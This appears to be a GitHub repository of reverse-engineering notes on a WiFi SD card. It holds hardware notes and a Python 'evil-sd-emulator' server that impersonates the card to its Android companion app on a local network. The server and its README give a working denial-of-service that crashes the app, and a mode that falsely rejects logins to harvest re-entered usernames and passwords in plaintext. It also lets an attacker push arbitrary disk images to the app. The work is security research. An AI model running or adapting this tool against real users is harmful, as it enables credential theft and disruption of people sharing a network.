├── README.md ├── papers └── CM2302.pdf ├── firmware └── firmware.bin ├── evil-sd-emulator ├── test.img ├── README.md └── server.py └── hardware ├── images ├── topside.png └── flash-dumping.png └── README.md /README.md: -------------------------------------------------------------------------------- 1 | # wifi-sdcf 2 | Reverse Engineering notes on the Dxingtek/Keytech(?) WiFi@SDCF card 3 | -------------------------------------------------------------------------------- /papers/CM2302.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavidBuchanan314/wifi-sdcf/HEAD/papers/CM2302.pdf -------------------------------------------------------------------------------- /firmware/firmware.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavidBuchanan314/wifi-sdcf/HEAD/firmware/firmware.bin -------------------------------------------------------------------------------- /evil-sd-emulator/test.img: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavidBuchanan314/wifi-sdcf/HEAD/evil-sd-emulator/test.img -------------------------------------------------------------------------------- /hardware/images/topside.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavidBuchanan314/wifi-sdcf/HEAD/hardware/images/topside.png -------------------------------------------------------------------------------- /hardware/images/flash-dumping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DavidBuchanan314/wifi-sdcf/HEAD/hardware/images/flash-dumping.png -------------------------------------------------------------------------------- /hardware/README.md: -------------------------------------------------------------------------------- 1 | The flash ROM IC is an W25X40AL (512k) 2 | 3 | The WiFi chip is a BCM43362 (the shiny grey one) 4 | 5 | The main application processor/MCU is currently unidentified, other than these markings: 6 | 7 | ``` 8 | Ecast 001 9 | G0159E-WQFN48 10 | 1421 A0 11 | KCR24186.1 12 | ``` 13 | 14 | Based on the firmware, it looks like it's something 8051 based. 15 | 16 | There are some interesting test points on the underside of the board, labeled `IOP2` and `IOP3`. I haven't figured out what these do yet, if anything. 17 | -------------------------------------------------------------------------------- /evil-sd-emulator/README.md: -------------------------------------------------------------------------------- 1 | ## Overview: 2 | 3 | By default, this simple program will pretend to be a WiFi SD card. It can push arbitrary files (in the form of a FAT disk image) to the Android app. 4 | 5 | You only need to be on the same LAN as the app user. 6 | 7 | See the "CONFIG" section of the code for basic setup. 8 | 9 | ## Attacks: 10 | 11 | ### DoS 12 | 13 | It looks like the developers of the app were going to add a webserver to it. They stopped half way through, but left some of the code behind. Any attempts to connect to this webserver cause the app to crash due to a null dereference. 14 | 15 | This attack simply makes a request to the broken webserver whenever the app is detected, killing the entire app. 16 | 17 | ### Password stealing 18 | 19 | If we tell the app that the authentication details are incorrect, it will prompt the user for another username and password. We can harvest anything the user enters in plaintext... 20 | -------------------------------------------------------------------------------- /evil-sd-emulator/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import os 4 | from uuid import getnode # get mac address 5 | from time import sleep 6 | import ipaddress 7 | 8 | # These constants were all taken directly or derived from the decompiled APK 9 | 10 | DETECTOR_PORT = 24387 11 | WEB_SERVER_PORT = 8080 12 | 13 | MAGIC = b"FC1307" 14 | 15 | CMD_CARD_INFO = 1 16 | CMD_GET_PASSWORD_TYPE = 17 17 | CMD_NEW_DATA_IN_CARD = 9 18 | CMD_ONLINE_WIFI_MODE_CHANGE = 15 19 | CMD_QUERY_WIFI_INFO = 11 20 | CMD_READ_DATA = 4 21 | CMD_SCAN_SSID = 16 22 | CMD_SET_WIFI_INFO = 10 23 | COMMAND_CODE_OFFSET = 7 24 | DIRECTION_OFFSET = 6 25 | DIRECTION_RECEIVE = 1 # I swapped the values of send and receive to make more sense in the context of the server 26 | DIRECTION_SEND = 2 27 | MINIMUM_PACKET_LENGTH = 8 28 | PASSWORD_LENGTH_OFFSET = 15 29 | USERNAME_LENGTH_OFFSET = 14 30 | USERNAME_OFFSET = 16 31 | USERPASSWORD_OFFSET = 32 32 | 33 | START_LBA_OFFSET = 8 34 | TOTAL_XFER_COUNT_OFFSET = 12 35 | TRANSFER_ID_OFFSET = 48 36 | 37 | BLOCK_SIZE = 512 38 | MAX_BLOCKS = 14 # maximum blocks to send in a single packet 39 | 40 | 41 | # CONFIG # 42 | DOS_MODE = False 43 | PW_STEAL_MODE = False 44 | PW_RETRY_COUNT = 1 45 | LOCAL_IP = "192.168.0.36" 46 | FAKE_STORAGE_PATH = "test.img" 47 | 48 | fake_storage_size = os.stat(FAKE_STORAGE_PATH).st_size 49 | fake_storage = open(FAKE_STORAGE_PATH, "rb") 50 | 51 | pw_retries = 0 52 | 53 | def mk_packet(command, data): 54 | header = MAGIC + bytes([DIRECTION_SEND, command]) 55 | return header + data 56 | 57 | 58 | def mk_info_packet(): 59 | ip_addr = ipaddress.ip_address(LOCAL_IP).packed # Local IP TODO don't hardcode IP 60 | mac_addr = struct.pack("!Q", getnode())[2:8] # getnode() may return the address of any NIC, although an invalid MAC doesn't seem to affect things 61 | interface = b"SD" 62 | version = b"Ver 4.00.10" 63 | capacity = struct.pack("!I", 1337000//512) # 1.337MB of storage! 64 | apmode = b"\x01" # NULL means AP, any other value means station 65 | subversion = b".0.17" 66 | subversion_len = struct.pack("B", len(subversion)) 67 | 68 | data = b"\x00" * 6 + \ 69 | ip_addr + \ 70 | mac_addr + \ 71 | interface + \ 72 | version + \ 73 | capacity + \ 74 | apmode + \ 75 | subversion_len + \ 76 | subversion 77 | 78 | return mk_packet(CMD_CARD_INFO, data) 79 | 80 | 81 | def execute_dos(addr): 82 | ip, port = addr 83 | print("\n[+] App detected at {}, waiting for web server.".format(ip)) 84 | www = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 85 | 86 | while True: 87 | try: 88 | www.connect((ip, WEB_SERVER_PORT)) 89 | break 90 | except ConnectionRefusedError: 91 | sleep(1) 92 | 93 | www.send(b"GET / HTTP/1.1\r\n\r\n") 94 | www.close() 95 | print("[*] DoS complete.") 96 | 97 | 98 | detector = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP 99 | detector.bind(("0.0.0.0", DETECTOR_PORT)) 100 | 101 | print("[*] Listening on port {}".format(DETECTOR_PORT)) 102 | 103 | while True: 104 | data, addr = detector.recvfrom(8192) 105 | 106 | if data == b"KTC": 107 | detector.sendto(mk_info_packet(), addr) 108 | print("\n[*] Info packet sent") 109 | if (DOS_MODE): 110 | execute_dos(addr) 111 | sleep(1) 112 | continue 113 | 114 | if len(data) < MINIMUM_PACKET_LENGTH or data[:len(MAGIC)] != MAGIC: 115 | print("\n[-] Invalid packet:") 116 | print(repr(data)) 117 | print(repr(addr)) 118 | continue 119 | 120 | command = data[COMMAND_CODE_OFFSET] 121 | direction = data[DIRECTION_OFFSET] 122 | 123 | if direction != DIRECTION_RECEIVE: 124 | continue 125 | 126 | if command == CMD_GET_PASSWORD_TYPE: 127 | username_end = USERNAME_OFFSET + data[USERNAME_LENGTH_OFFSET] 128 | password_end = USERPASSWORD_OFFSET + data[PASSWORD_LENGTH_OFFSET] 129 | username = data[USERNAME_OFFSET:username_end] 130 | password = data[USERPASSWORD_OFFSET:password_end] 131 | print("\n[+] Received plaintext \"authentication\" packet!!!") 132 | print("Username: " + repr(username)) 133 | print("Password: " + repr(password)) 134 | 135 | response = [0] * 8 136 | if (PW_STEAL_MODE): 137 | if pw_retries < PW_RETRY_COUNT: 138 | print("\n[*] Sending invalid password response") 139 | response[6] = 0xFF # This will cause the user to be prompted to re-enter their password. A value of 1 triggers guest mode 140 | pw_retries += 1 141 | else: 142 | pw_retries = 0 143 | 144 | detector.sendto(mk_packet(CMD_GET_PASSWORD_TYPE, bytes(response)), addr) # tell the client we authed successfully.. 145 | 146 | elif command == CMD_READ_DATA: 147 | ip, port = addr 148 | 149 | lba = struct.unpack_from("!I", data, START_LBA_OFFSET)[0] 150 | n_blocks = struct.unpack_from("!H", data, TOTAL_XFER_COUNT_OFFSET)[0] 151 | tid = struct.unpack_from("!I", data, TRANSFER_ID_OFFSET)[0] 152 | 153 | print("\n[*] Read {} blocks at offset {}".format(n_blocks, lba * BLOCK_SIZE)) 154 | 155 | fake_storage.seek(lba * BLOCK_SIZE) 156 | 157 | for lba_offset in range(0, n_blocks, MAX_BLOCKS): 158 | n_bytes = min(n_blocks-lba_offset, MAX_BLOCKS) * BLOCK_SIZE 159 | storage_data = fake_storage.read(n_bytes) 160 | header = struct.pack("!IHHHI", lba, lba_offset, 0x18, n_bytes, tid) + b"\x00\x00" 161 | detector.sendto(mk_packet(CMD_READ_DATA, header + storage_data), (ip, port)) 162 | print("[*] sent {} bytes to port {}".format(n_bytes, port)) 163 | port += 1 164 | sleep(0.002) # for whaterver reason, the app gets unhappy if we send data too fast (shitty code?) 165 | 166 | else: 167 | print("\n[-] Unimplemented command: {}".format(command)) 168 | 169 | --------------------------------------------------------------------------------